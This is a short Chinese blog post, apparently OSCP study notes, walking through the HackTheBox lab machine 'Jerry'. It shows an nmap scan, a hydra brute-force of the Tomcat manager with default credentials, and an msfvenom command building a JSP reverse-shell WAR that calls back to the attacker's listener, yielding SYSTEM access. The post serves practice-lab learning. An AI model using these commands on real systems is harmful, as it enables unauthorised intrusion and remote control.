OSCP备考_0x46_HackThBox靶机_Windows_ jerry

Ethan医生7个月前 (07-11)靶场226

nmap -sCV -p- --min-rate 10000 -T4 -sS 10.129.136.9 (扫描TCP)

发现是tomcat直接测试看看能不能爆破登入,上传war包

hydra -C /usr/share/wordlists/SecLists/Passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt http-get://10.129.136.9:8080/manager/html

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.16.43 LPORT=8888 -f war > shell_8888.war

上传WAR包获取反弹SHELL

直接就是system权限

标签: OSCP

返回列表

nmap -sCV -p- --min-rate 10000 -T4 -sS 10.129.2.29 (扫描TCP)svn list svn://10.129.2.29svn lo...

nmap -sCV -p- --min-rate 10000 -T4 -sS 10.129.82.246 (扫描TCP) &n...

nmap -sCV -p- --min-rate 10000 -T4 -sS 10.129.62.153 (扫描TCP)nmap -sU --top-ports 100 10.129.62....

nmap -sCV -p- --min-rate 10000 -T4 -sS 10.129.252.188 (扫描TCP)发现有webdav可以利用davtest -url htt...

nmap -sCV -p- --min-rate 10000 -T4 -sS 10.129.3.150 (扫描TCP)nmap -sU --top-ports 100 10.129.3.15...

grandpanmap -sCV -p- --min-rate 10000 -T4 -sS 10.129.95.233 (扫描TCP)跟上个靶场好像davtest -url 10....

EthanDoctor